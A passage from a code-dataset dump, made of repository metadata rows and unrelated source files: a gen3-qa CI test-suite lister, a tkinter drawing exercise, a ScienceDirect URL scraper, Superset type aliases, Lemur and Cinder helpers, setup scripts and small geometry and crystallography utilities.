] | 4 | 2019-08-30T22:25:24.000Z | 2021-09-15T19:19:44.000Z | scripts/list-all-test-suites-for-ci.py | uc-cdis/gen3-qa | 6634678b17cb5dd86533667c22037b1e2ddeb0b8 | [
"Apache-2.0"
] | 148 | 2018-04-16T17:26:54.000Z | 2022-03-04T16:16:02.000Z | scripts/list-all-test-suites-for-ci.py | uc-cdis/gen3-qa | 6634678b17cb5dd86533667c22037b1e2ddeb0b8 | [
"Apache-2.0"
] | 3 | 2019-08-01T03:15:38.000Z | 2022-03-07T01:23:12.000Z | import os
import subprocess
test_suites_that_cant_run_in_parallel = [
"test-apis-dbgapTest", # not thread-safe
"test-google-googleDataAccessTest", # not thread-safe
"test-google-googleServiceAccountRemovalTest", # not thread-safe
"test-guppy-guppyTest", # not thread-safe
"test-smokeTests-brainTests", # manual (executable test)
"test-batch-GoogleBucketManifestGenerationTest", # @donot
"test-batch-S3BucketManifestGenerationTest", # @donot
"test-portal-dataguidOrgTest", # @donot
"test-mariner-marinerIntegrationTest", # @donot
"test-suites-fail", # special suite to force failures for invalid test labels
"test-portal-roleBasedUITest", # manual (executable test)
"test-portal-limitedFilePFBExportTestPlan", # manual (executable test)
"test-access-accessGUITest", # manual (executable test)
"test-portal-tieredAccessTest", # manual (executable test)
"test-portal-discoveryPageTestPlan", # manual (executable test)
"test-portal-dashboardReportsTest", # manual (executable test)
"test-guppy-nestedAggTest", # manual (executable test)
"test-portal-404pageTest", # manual (executable test)
"test-apis-dcfDataReplicationTest", # manual (executable test)
"test-portal-exportPfbToWorkspaceTest", # manual (executable test)
"test-portal-homepageChartNodesExecutableTestPlan",# manual (executable test)
"test-portal-profilePageTest", # manual (executable test)
"test-portal-terraExportWarningTestPlan", # manual (executable test)
"test-pelican-exportPfbTest", # not ready
"test-regressions-exportPerformanceTest", # legacy (disabled test)
"test-regressions-generateTestData", # legacy (disabled test)
"test-regressions-queryPerformanceTest", # legacy (disabled test)
"test-regressions-submissionPerformanceTest", # legacy (disabled test)
"test-dream-challenge-DCgen3clientTest", # legacy (disabled test)
"test-dream-challenge-synapaseLoginTest", # legacy (disabled test)
"test-prod-checkAllProjectsBucketAccessTest", # prod test
"test-portal-pfbExportTest", # nightly build test
"test-apis-etlTest", # long-running test
"test-apis-centralizedAuth", # long-running test
"test-google-googleServiceAccountTest", # long-running test
"test-google-googleServiceAccountKeyTest", # long-running test
"test-portal-dataUploadTest", # SUPER long-running test
"test-portal-indexingPageTest", # long-running test
"test-apis-metadataIngestionTest", # long-running test
"test-apis-auditServiceTest" # long-running test
]
def collect_test_suites_from_codeceptjs_dryrun():
my_env = os.environ.copy()
bashCommand = "npx codeceptjs dry-run"
process = subprocess.Popen(
bashCommand.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=my_env
)
output, error = process.communicate()
test_suites = []
for line in output.splitlines():
line = line.decode("utf-8")
# print(f'### line: {line}')
# ignore pre-release test suites
if "pre-release" in line:
continue
elif ".js" in line:
full_path_to_test_js = line.split("/")
suite_folder = full_path_to_test_js[-2]
# print(f'## suite_folder: {suite_folder}')
test_script = full_path_to_test_js[-1]
# print(f'## test_script: {test_script}')
test_script_without_extension = test_script[0 : test_script.index(".")]
test_suite = f"test-{suite_folder}-{test_script_without_extension}"
test_suites.append(test_suite)
return test_suites
def main():
test_suites = collect_test_suites_from_codeceptjs_dryrun()
for ts in test_suites:
if ts not in test_suites_that_cant_run_in_parallel:
print(ts)
# print(f"## ## test_suites: {test_suites}")
# print(f"## test_suites size: {len(test_suites)}")
if __name__ == "__main__":
main()
| 49.032258 | 112 | 0.608114 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,566 | 0.562719 |
0a7c6f49614d6822678c761e9a25fddc34bcb0a8 | 818 | py | Python | SC101Lecture_code/SC101_week4/draw_basic.py | Jewel-Hong/SC-projects | 9502b3f0c789a931226d4ce0200ccec56e47bc14 | [
"MIT"
] | null | null | null | SC101Lecture_code/SC101_week4/draw_basic.py | Jewel-Hong/SC-projects | 9502b3f0c789a931226d4ce0200ccec56e47bc14 | [
"MIT"
] | null | null | null | SC101Lecture_code/SC101_week4/draw_basic.py | Jewel-Hong/SC-projects | 9502b3f0c789a931226d4ce0200ccec56e47bc14 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""
Stanford CS106AP
TK Drawing Lecture Exercises
Courtesy of Nick Parlante
"""
import tkinter as tk
# provided function, this code is complete
def make_canvas(width, height):
"""
Creates and returns a drawing canvas
of the given int size, ready for drawing.
"""
top = tk.Tk()
top.minsize(width=width + 10, height=height + 10)
canvas = tk.Canvas(top, width=width, height=height)
canvas.pack()
canvas.xview_scroll(6, "units") # hack so (0, 0) works correctly
canvas.yview_scroll(6, "units")
return canvas
def main():
w = make_canvas(1000, 500)
w.create_line(0, 0, 1000, 500, width=5, fill='red')
w.create_text(0, 0, text='SC101', anchor=tk.NW, font='times 80')
tk.mainloop() #ๅ่จด้ป่
ฆไธ่ฆ้ๆ่ฆ็ช
if __name__ == '__main__':
main()
| 21.526316 | 69 | 0.656479 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 350 | 0.417661 |
0a7edac2ed561ec67cb5f3e276d02750502435c8 | 7,252 | py | Python | scripts/scrape_sciencedirect_urls.py | UWPRG/BETO2020 | 55b5b329395da79047e9083232101d15af9f2c49 | [
"MIT"
] | 4 | 2020-03-04T21:08:11.000Z | 2020-10-28T11:28:00.000Z | scripts/scrape_sciencedirect_urls.py | UWPRG/BETO2020 | 55b5b329395da79047e9083232101d15af9f2c49 | [
"MIT"
] | null | null | null | scripts/scrape_sciencedirect_urls.py | UWPRG/BETO2020 | 55b5b329395da79047e9083232101d15af9f2c49 | [
"MIT"
] | 6 | 2019-04-15T16:51:16.000Z | 2019-11-13T02:45:53.000Z | """
This code is used to scrape ScienceDirect of publication urls and write them to
a text file in the current directory for later use.
"""
import selenium
from selenium import webdriver
import numpy as np
import pandas as pd
import bs4
from bs4 import BeautifulSoup
import time
from sklearn.utils import shuffle
def scrape_page(driver):
"""
This method finds all the publication result web elements on the webpage.
Parameters
----------
driver (Selenium webdriver object) : Instance of the webdriver class e.g.
webdriver.Chrome()
Returns
-------
elems (list) : A list of all scraped hrefs from the page
"""
elems = driver.find_elements_by_class_name('ResultItem')
return elems
def clean(elems):
"""
This method takes a list of scraped selenium web elements
and filters/ returns only the hrefs leading to publications.
Filtering includes removing all urls with keywords that are indicative of
non-html links.
Parameters
----------
elems (list) : The list of hrefs to be filtered
Returns
-------
urls (list) : The new list of hrefs, which should be the same as the list
displayed on gui ScienceDirect
"""
titles = []
urls = []
for elem in elems:
href_child = elem.find_element_by_css_selector('a[href]')
url = href_child.get_attribute('href')
title = href_child.text
titles.append(title)
urls.append(url)
return urls, titles
def build_url_list(gui_prefix,search_terms,journal_list):
"""
This method takes the list of journals and creates a tiple nested dictionary
containing all accessible urls to each page, in each year, for each journal,
for a given search on sciencedirect.
"""
dict1 = {}
years = np.arange(1995,2020)
for journal in journal_list:
dict2 = {}
for year in years:
dict3 = {}
for i in range(60):
url = gui_prefix + search_terms + '&show=100'+ '&articleTypes=FLA%2CREV' + '&years='+ str(year)
if i != 0:
url = url + '&offset=' + str(i) +'00'
url = url + '&pub=' + journal
dict3[i] = url
dict2[year] = dict3
dict1[journal] = dict2
return dict1
def proxify(scraped_urls,uw_prefix):
"""
This method takes a list of scraped urls and turns them into urls that
go through the UW Library proxy so that all of them are full access.
Parameters
----------
scraped_urls (list) : The list of URLs to be converted
uw_prefix (str) : The string that all URLs which go through the UW Library
Proxy start with.
Returns
-------
proxy_urls (list) : The list of converted URLs which go through UW Library
proxy
"""
proxy_urls = []
for url in scraped_urls:
sd_id = url[-17:]
newlink = uw_prefix + sd_id
if sd_id.startswith('S'):
proxy_urls.append(newlink)
return proxy_urls
def write_urls(urls,titles,file,journal,year):
"""
This method takes a list of urls and writes them to a desired text file.
Parameters
----------
urls (list) : The list of URLs to be saved.
file (file object) : The opened .txt file which will be written to.
year (str or int) : The year associated with the publication date.
Returns
-------
Does not return anything
"""
for link,title in zip(urls,titles):
line = link + ',' + title + ',' + journal + ',' + str(year)
file.write(line)
file.write('\n')
def find_pubTitle(driver,journal):
"""
This method finds the identifying number for a specific journal. This
identifying number is added to the gui query URL to ensure only publciations
from the desired journal are being found.
"""
pub_elems = driver.find_elements_by_css_selector('input[id*=publicationTitles]')
pub_names = []
for elem in pub_elems:
pub_name = elem.get_attribute("name")
if pub_name == journal:
return elem.get_attribute('id')[-6:] #returns the identifying number
#for that journal
df = pd.read_excel('elsevier_journals.xls')
df.Full_Category = df.Full_Category.str.lower() # lowercase topics for searching
df = df.drop_duplicates(subset = 'Journal_Title') # drop any duplicate journals
df = shuffle(df,random_state = 42)
# The set of default strings that will be used to sort which journals we want
journal_strings = ['chemistry','energy','molecular','atomic','chemical','biochem'
,'organic','polymer','chemical engineering','biotech','coloid']
name = df.Full_Category.str.contains # making this an easier command to type
# new dataframe full of only journals who's topic description contained the
# desired keywords
df2 = df[name('polymer') | name('chemistry') | name('energy')
| name('molecular') | name('colloid') | name('biochem')
| name('organic') | name('biotech') | name('chemical')]
journal_list = df2.Journal_Title # Series of only the journals to be searched
gui_prefix = 'https://www.sciencedirect.com/search/advanced?qs='
search_terms = 'chemistry%20OR%20molecule%20OR%20polymer%20OR%20organic'
url_dict = build_url_list(gui_prefix,search_terms,journal_list)
driver = webdriver.Chrome()
uw_prefix = 'https://www-sciencedirect-com.offcampus.lib.washington.edu/science/article/pii/'
filename = input("Input filename with .txt extension for URL storage: ")
url_counter = 0
master_list = []
file = open(filename,'a+')
for journal in journal_list:
for year in np.arange(1995,2020):
for offset in np.arange(60):
page = url_dict[journal][year][offset]
print("journal, year, offset = ",journal,year,offset)
driver.get(page)
time.sleep(2) # need sleep to load the page properly
if offset == 0: # if on page 1, we need to grab the publisher number
try: # we may be at a page which won't have the item we are looking for
pubTitles = find_pubTitle(driver,journal_list[journal_counter])
for url in url_dict[journal]:
url = url + '&pubTitles=' + pubTitles # update every url in the list
driver.get(url_dict[journal][year][0]) # reload the first page with the new url
except:
pass # if there is an exception, it means we are on the right page
scraped_elems = scrape_page(driver) # scrape the page
scraped_urls, titles = clean(scraped_elems)
proxy_urls = proxify(scraped_urls,uw_prefix) # not even sure this is needed
write_urls(proxy_urls,titles,file,journal,year)
url_counter += len(proxy_urls)
print('Total URLs saved is: ',url_counter)
if len(scraped_elems) < 100: # after content is saved, go to the next year
break # because we know this is the last page of urls for this year
file.close()
driver.quit()
| 33.730233 | 125 | 0.628792 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,663 | 0.505102 |
0a7ef598ad33e1712e909b5218a858b7b8de970f | 1,903 | py | Python | superset/typing.py | GodelTech/superset | da170aa57e94053cf715f7b41b09901c813a149a | [
"Apache-2.0"
] | 7 | 2020-07-31T04:50:01.000Z | 2021-12-08T07:56:42.000Z | superset/typing.py | GodelTech/superset | da170aa57e94053cf715f7b41b09901c813a149a | [
"Apache-2.0"
] | 77 | 2020-02-02T07:54:13.000Z | 2022-03-23T18:22:04.000Z | superset/typing.py | GodelTech/superset | da170aa57e94053cf715f7b41b09901c813a149a | [
"Apache-2.0"
] | 6 | 2020-03-25T01:02:29.000Z | 2021-05-12T17:11:19.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from datetime import datetime
from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Union
from flask import Flask
from flask_caching import Cache
from werkzeug.wrappers import Response
CacheConfig = Union[Callable[[Flask], Cache], Dict[str, Any]]
DbapiDescriptionRow = Tuple[
str, str, Optional[str], Optional[str], Optional[int], Optional[int], bool
]
DbapiDescription = Union[List[DbapiDescriptionRow], Tuple[DbapiDescriptionRow, ...]]
DbapiResult = Sequence[Union[List[Any], Tuple[Any, ...]]]
FilterValue = Union[datetime, float, int, str]
FilterValues = Union[FilterValue, List[FilterValue], Tuple[FilterValue]]
FormData = Dict[str, Any]
Granularity = Union[str, Dict[str, Union[str, float]]]
AdhocMetric = Dict[str, Any]
Metric = Union[AdhocMetric, str]
OrderBy = Tuple[Metric, bool]
QueryObjectDict = Dict[str, Any]
VizData = Optional[Union[List[Any], Dict[Any, Any]]]
VizPayload = Dict[str, Any]
# Flask response.
Base = Union[bytes, str]
Status = Union[int, str]
Headers = Dict[str, Any]
FlaskResponse = Union[
Response, Base, Tuple[Base, Status], Tuple[Base, Status, Headers],
]
| 39.645833 | 84 | 0.755123 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 786 | 0.413032 |
0a81693f8777fdc22a6d886900c28851626fa805 | 377 | py | Python | lemur/deployment/service.py | rajatsharma94/lemur | 99f46c1addcd40154835e151d0b189e1578805bb | [
"Apache-2.0"
] | 1,656 | 2015-09-20T03:12:28.000Z | 2022-03-29T18:00:54.000Z | lemur/deployment/service.py | rajatsharma94/lemur | 99f46c1addcd40154835e151d0b189e1578805bb | [
"Apache-2.0"
] | 3,017 | 2015-09-18T23:15:24.000Z | 2022-03-30T22:40:02.000Z | lemur/deployment/service.py | rajatsharma94/lemur | 99f46c1addcd40154835e151d0b189e1578805bb | [
"Apache-2.0"
] | 401 | 2015-09-18T23:02:18.000Z | 2022-02-20T16:13:14.000Z | from lemur import database
def rotate_certificate(endpoint, new_cert):
"""
Rotates a certificate on a given endpoint.
:param endpoint:
:param new_cert:
:return:
"""
# ensure that certificate is available for rotation
endpoint.source.plugin.update_endpoint(endpoint, new_cert)
endpoint.certificate = new_cert
database.update(endpoint)
| 23.5625 | 62 | 0.71618 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 165 | 0.437666 |
0a8741dde6ef103d06812289a7da5d5ee4748c1d | 2,427 | py | Python | src/tkdialog/dialog.py | KosukeMizuno/tkdialog | 082fc106908bbbfa819d1a129929165f11d4e944 | [
"MIT"
] | null | null | null | src/tkdialog/dialog.py | KosukeMizuno/tkdialog | 082fc106908bbbfa819d1a129929165f11d4e944 | [
"MIT"
] | null | null | null | src/tkdialog/dialog.py | KosukeMizuno/tkdialog | 082fc106908bbbfa819d1a129929165f11d4e944 | [
"MIT"
] | null | null | null | from pathlib import Path
import pickle
import tkinter as tk
import tkinter.filedialog
def open_dialog(**opt):
"""Parameters
----------
Options will be passed to `tkinter.filedialog.askopenfilename`.
See also tkinter's document.
Followings are example of frequently used options.
- filetypes=[(label, ext), ...]
- label: str
- ext: str, semicolon separated extentions
- initialdir: str, default Path.cwd()
- multiple: bool, default False
Returns
--------
filename, str
"""
root = tk.Tk()
root.withdraw()
root.wm_attributes("-topmost", True)
opt_default = dict(initialdir=Path.cwd())
_opt = dict(opt_default, **opt)
return tk.filedialog.askopenfilename(**_opt)
def saveas_dialog(**opt):
"""Parameters
----------
Options will be passed to `tkinter.filedialog.asksaveasfilename`.
See also tkinter's document.
Followings are example of frequently used options.
- filetypes=[(label, ext), ...]
- label: str
- ext: str, semicolon separated extentions
- initialdir: str, default Path.cwd()
- initialfile: str, default isn't set
Returns
--------
filename, str
"""
root = tk.Tk()
root.withdraw()
root.wm_attributes("-topmost", True)
opt_default = dict(initialdir=Path.cwd())
_opt = dict(opt_default, **opt)
return tk.filedialog.asksaveasfilename(**_opt)
def load_pickle_with_dialog(mode='rb', **opt):
"""Load a pickled object with a filename assigned by tkinter's open dialog.
kwargs will be passed to saveas_dialog.
"""
opt_default = dict(filetypes=[('pickled data', '*.pkl'), ('all', '*')])
_opt = dict(opt_default, **opt)
fn = open_dialog(**_opt)
if fn == '': # canceled
return None
with Path(fn).open(mode) as f:
data = pickle.load(f)
return data
def dump_pickle_with_dialog(obj, mode='wb', **opt):
"""Pickle an object with a filename assigned by tkinter's saveas dialog.
kwargs will be passed to saveas_dialog.
Returns
--------
filename: str
"""
opt_default = dict(filetypes=[('pickled data', '*.pkl'), ('all', '*')])
_opt = dict(opt_default, **opt)
fn = saveas_dialog(**_opt)
if fn == '': # canceled
return ''
# note: ไธๆธใ็ขบ่ชใฏtkinterใใใฃใฆใใใใฎใงใใใงใฏใใงใใฏใใชใ
with Path(fn).open(mode) as f:
pickle.dump(obj, f)
return fn
| 25.547368 | 79 | 0.622167 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,354 | 0.546188 |
0a880ef41f3bfd67c8ea6c85667d8aef79348500 | 1,744 | py | Python | cinder/tests/unit/fake_group_snapshot.py | lightsey/cinder | e03d68e42e57a63f8d0f3e177fb4287290612b24 | [
"Apache-2.0"
] | 571 | 2015-01-01T17:47:26.000Z | 2022-03-23T07:46:36.000Z | cinder/tests/unit/fake_group_snapshot.py | vexata/cinder | 7b84c0842b685de7ee012acec40fb4064edde5e9 | [
"Apache-2.0"
] | 37 | 2015-01-22T23:27:04.000Z | 2021-02-05T16:38:48.000Z | cinder/tests/unit/fake_group_snapshot.py | vexata/cinder | 7b84c0842b685de7ee012acec40fb4064edde5e9 | [
"Apache-2.0"
] | 841 | 2015-01-04T17:17:11.000Z | 2022-03-31T12:06:51.000Z | # Copyright 2016 EMC Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from oslo_versionedobjects import fields
from cinder import objects
from cinder.tests.unit import fake_constants as fake
def fake_db_group_snapshot(**updates):
db_group_snapshot = {
'id': fake.GROUP_SNAPSHOT_ID,
'name': 'group-1',
'status': 'available',
'user_id': fake.USER_ID,
'project_id': fake.PROJECT_ID,
'group_type_id': fake.GROUP_TYPE_ID,
'group_id': fake.GROUP_ID,
}
for name, field in objects.GroupSnapshot.fields.items():
if name in db_group_snapshot:
continue
if field.nullable:
db_group_snapshot[name] = None
elif field.default != fields.UnspecifiedDefault:
db_group_snapshot[name] = field.default
else:
raise Exception('fake_db_group_snapshot needs help with %s.'
% name)
if updates:
db_group_snapshot.update(updates)
return db_group_snapshot
def fake_group_snapshot_obj(context, **updates):
return objects.GroupSnapshot._from_db_object(
context, objects.GroupSnapshot(), fake_db_group_snapshot(**updates))
| 33.538462 | 78 | 0.679472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 725 | 0.415711 |
0a89d9e3455e77e62d24b044c32fc90cbc464fc1 | 368 | py | Python | setup.py | SilicalNZ/canvas | 44d1eee02c334aae6b41aeba01ed0ecdf83aed21 | [
"MIT"
] | 7 | 2019-08-04T20:37:55.000Z | 2020-03-05T08:36:10.000Z | setup.py | SilicalNZ/canvas | 44d1eee02c334aae6b41aeba01ed0ecdf83aed21 | [
"MIT"
] | 1 | 2019-10-21T05:43:28.000Z | 2019-10-21T05:43:28.000Z | setup.py | SilicalNZ/canvas | 44d1eee02c334aae6b41aeba01ed0ecdf83aed21 | [
"MIT"
] | null | null | null | import setuptools
setuptools.setup(
name = 'sili-canvas',
version = '0.0.1',
license = 'MIT',
url = 'https://github.com/SilicalNZ/canvas',
description = 'A series of easy to use classes to perform complex 2D array transformations',
long_description = '',
author = 'SilicalNZ',
packages = ['canvas', 'canvas.common', 'canvas.tools']
)
| 26.285714 | 96 | 0.649457 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 189 | 0.513587 |
0a90c84a059304b0e838dbe80594658dfad7edd3 | 2,119 | py | Python | blmath/geometry/apex.py | metabolize/blmath | 8ea8d7be60349a60ffeb08a3e34fca20ef9eb0da | [
"BSD-2-Clause"
] | 6 | 2019-09-28T16:48:34.000Z | 2022-03-25T17:05:46.000Z | blmath/geometry/apex.py | metabolize/blmath | 8ea8d7be60349a60ffeb08a3e34fca20ef9eb0da | [
"BSD-2-Clause"
] | 6 | 2019-09-09T16:42:02.000Z | 2021-06-25T15:25:50.000Z | blmath/geometry/apex.py | metabolize/blmath | 8ea8d7be60349a60ffeb08a3e34fca20ef9eb0da | [
"BSD-2-Clause"
] | 4 | 2017-05-09T16:15:07.000Z | 2019-02-15T14:15:30.000Z | import numpy as np
from blmath.numerics import vx
def apex(points, axis):
'''
Find the most extreme point in the direction of the axis provided.
axis: A vector, which is an 3x1 np.array.
'''
coords_on_axis = points.dot(axis)
return points[np.argmax(coords_on_axis)]
def inflection_points(points, axis, span):
'''
Find the list of vertices that preceed inflection points in a curve. The curve is differentiated
with respect to the coordinate system defined by axis and span.
axis: A vector representing the vertical axis of the coordinate system.
span: A vector representing the the horiztonal axis of the coordinate system.
returns: a list of points in space corresponding to the vertices that
immediately preceed inflection points in the curve
'''
coords_on_span = points.dot(span)
dx = np.gradient(coords_on_span)
coords_on_axis = points.dot(axis)
# Take the second order finite difference of the curve with respect to the
# defined coordinate system
finite_difference_2 = np.gradient(np.gradient(coords_on_axis, dx), dx)
# Compare the product of all neighboring pairs of points in the second derivative
# If a pair of points has a negative product, then the second derivative changes sign
# at one of those points, signalling an inflection point
is_inflection_point = [finite_difference_2[i] * finite_difference_2[i + 1] <= 0 for i in range(len(finite_difference_2) - 1)]
inflection_point_indices = [i for i, b in enumerate(is_inflection_point) if b]
if len(inflection_point_indices) == 0: # pylint: disable=len-as-condition
return []
return points[inflection_point_indices]
def farthest(from_point, to_points):
'''
Find the farthest point among the inputs, to the given point.
Return a tuple: farthest_point, index_of_farthest_point.
'''
absolute_distances = vx.magnitude(to_points - from_point)
index_of_farthest_point = np.argmax(absolute_distances)
farthest_point = to_points[index_of_farthest_point]
return farthest_point, index_of_farthest_point
| 36.534483 | 129 | 0.738084 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,095 | 0.516753 |
0a950c28a9d44906d9a72986af5603b4ab55c885 | 1,583 | py | Python | setup.py | bcongdon/instapaper-to-sqlite | 378b87ffcd2832aeff735dd78a0c8206d220b899 | [
"MIT"
] | 1 | 2021-10-04T05:48:51.000Z | 2021-10-04T05:48:51.000Z | setup.py | bcongdon/instapaper-to-sqlite | 378b87ffcd2832aeff735dd78a0c8206d220b899 | [
"MIT"
] | null | null | null | setup.py | bcongdon/instapaper-to-sqlite | 378b87ffcd2832aeff735dd78a0c8206d220b899 | [
"MIT"
] | 1 | 2022-02-26T14:12:13.000Z | 2022-02-26T14:12:13.000Z | import os
from setuptools import setup
VERSION = "0.2"
def get_long_description():
with open(
os.path.join(os.path.dirname(os.path.abspath(__file__)), "README.md"),
encoding="utf8",
) as fp:
return fp.read()
setup(
name="instapaper-to-sqlite",
description="Save data from Instapaper to a SQLite database",
long_description=get_long_description(),
long_description_content_type="text/markdown",
author="Benjamin Congdon",
author_email="me@bcon.gdn",
url="https://github.com/bcongdon/instapaper-to-sqlite",
project_urls={
"Source": "https://github.com/bcongdon/instapaper-to-sqlite",
"Issues": "https://github.com/bcongdon/instapaper-to-sqlite/issues",
},
classifiers=[
"Development Status :: 5 - Production/Stable",
"Environment :: Console",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Topic :: Database",
],
keywords="instapaper sqlite export dogsheep",
version=VERSION,
packages=["instapaper_to_sqlite"],
entry_points="""
[console_scripts]
instapaper-to-sqlite=instapaper_to_sqlite.cli:cli
""",
install_requires=[
"click",
"requests",
"sqlite-utils~=3.17",
"pyinstapaper @ git+https://github.com/bcongdon/pyinstapaper#egg=pyinstapaper",
],
extras_require={"test": ["pytest"]},
tests_require=["instapaper-to-sqlite[test]"],
)
| 29.867925 | 87 | 0.632975 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 862 | 0.544536 |
0a96a8a9570ed3b24a4bfee94944da9262d1bde3 | 449 | py | Python | setup.py | nopipifish/bert4keras | d8fd065b9b74b8a82b381b7183f9934422e4caa9 | [
"Apache-2.0"
] | 1 | 2020-09-09T02:34:28.000Z | 2020-09-09T02:34:28.000Z | setup.py | nopipifish/bert4keras | d8fd065b9b74b8a82b381b7183f9934422e4caa9 | [
"Apache-2.0"
] | null | null | null | setup.py | nopipifish/bert4keras | d8fd065b9b74b8a82b381b7183f9934422e4caa9 | [
"Apache-2.0"
] | null | null | null | #! -*- coding: utf-8 -*-
from setuptools import setup, find_packages
setup(
name='bert4keras',
version='0.8.4',
description='an elegant bert4keras',
long_description='bert4keras: https://github.com/bojone/bert4keras',
license='Apache License 2.0',
url='https://github.com/bojone/bert4keras',
author='bojone',
author_email='bojone@spaces.ac.cn',
install_requires=['keras<=2.3.1'],
packages=find_packages()
)
| 26.411765 | 72 | 0.674833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 217 | 0.483296 |
0a96c59de05ef2cf939a78138027073d3aeef532 | 489 | py | Python | sztuczna_inteligencja/3-lab/backtrackingSolve.py | Magikis/Uniwersity | 06964ef31d721af85740df1dce3f966006ab9f78 | [
"MIT"
] | 12 | 2017-11-30T08:45:48.000Z | 2018-04-26T14:15:45.000Z | sztuczna_inteligencja/3-lab/backtrackingSolve.py | Magikis/Uniwersity | 06964ef31d721af85740df1dce3f966006ab9f78 | [
"MIT"
] | null | null | null | sztuczna_inteligencja/3-lab/backtrackingSolve.py | Magikis/Uniwersity | 06964ef31d721af85740df1dce3f966006ab9f78 | [
"MIT"
] | 9 | 2017-10-16T09:42:59.000Z | 2018-01-27T19:48:45.000Z | # import cProfile
# import pstats
# import io
from picture import *
# pr = cProfile.Profile()
# pr.enable()
def out(p):
for i in range(2):
print([len(x) for x in p.perms[i]])
if __name__ == '__main__':
p = Picture()
p.genPerms()
p.detuctAll()
p.backtrackLoop()
p.saveOtput()
# pr.disable()
# s = io.StringIO()
# sortby = 'cumulative'
# ps = pstats.Stats(pr, stream=s).sort_stats(sortby)
# ps.print_stats()
# print(s.getvalue())
| 18.111111 | 56 | 0.586912 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 238 | 0.486708 |
0a96db7bc8255b1b1b651c9085fc3a06e4243461 | 1,753 | py | Python | mmtbx/regression/tls/tst_u_tls_vs_u_ens_03.py | rimmartin/cctbx_project | 644090f9432d9afc22cfb542fc3ab78ca8e15e5d | [
"BSD-3-Clause-LBNL"
] | null | null | null | mmtbx/regression/tls/tst_u_tls_vs_u_ens_03.py | rimmartin/cctbx_project | 644090f9432d9afc22cfb542fc3ab78ca8e15e5d | [
"BSD-3-Clause-LBNL"
] | null | null | null | mmtbx/regression/tls/tst_u_tls_vs_u_ens_03.py | rimmartin/cctbx_project | 644090f9432d9afc22cfb542fc3ab78ca8e15e5d | [
"BSD-3-Clause-LBNL"
] | null | null | null | from __future__ import division
from mmtbx.tls import tools
import math
import time
pdb_str_1 = """
CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1
ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C
ATOM 1 CA THR B 6 3.000 0.000 0.000 1.00 0.00 C
"""
pdb_str_2 = """
CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1
ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C
ATOM 1 CA THR B 6 0.000 3.000 0.000 1.00 0.00 C
"""
pdb_str_3 = """
CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1
ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C
ATOM 1 CA THR B 6 0.000 0.000 3.000 1.00 0.00 C
"""
pdb_str_4 = """
CRYST1 10.000 10.000 10.000 90.00 90.00 90.00 P1
ATOM 1 CA THR A 6 0.000 0.000 0.000 1.00 0.00 C
ATOM 1 CA THR B 6 1.000 2.000 3.000 1.00 0.00 C
"""
def exercise_03():
sqrt = math.sqrt
vs = []
vs.append( [(sqrt(2)/2, sqrt(2)/2, 0), (-sqrt(2)/2, sqrt(2)/2, 0), (0,0,1)] )
vs.append( [(1,0,0), (0, sqrt(2)/2, sqrt(2)/2), (0, -sqrt(2)/2, sqrt(2)/2)] )
vs.append( [(sqrt(3)/2, 1/2, 0), (-1/2, sqrt(3)/2, 0), (0,0,1)] )
vs.append( [(1,0,0), (0, sqrt(3)/2, 1/2), (0, -1/2, sqrt(3)/2)] )
for pdb_str in [pdb_str_1, pdb_str_2, pdb_str_3, pdb_str_4]:
for vs_ in vs:
vx,vy,vz = vs_
print vx,vy,vz
tools.u_tls_vs_u_ens(pdb_str=pdb_str,
tx=0.05,ty=0.07,tz=0.09,
vx=vx, vy=vy, vz=vz,
n_models=1000)
if (__name__ == "__main__"):
t0 = time.time()
exercise_03()
print "Time: %6.4f"%(time.time()-t0)
print "OK"
| 34.372549 | 79 | 0.498003 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 919 | 0.524244 |
0a96e21fb56076c17506b44887fb9f2f8344e7b0 | 558 | py | Python | elliesite/context_processors.py | davidkartuzinski/ellieplatformsite | 63a41cb2a15ae81a7cd3cdf68d783398b3205ce2 | [
"MIT"
] | 1 | 2021-06-26T22:18:31.000Z | 2021-06-26T22:18:31.000Z | ellie/context_processors.py | open-apprentice/ellieplatform-website | 3018feb05a2a44b916afba3e8e2eb71c18147117 | [
"MIT"
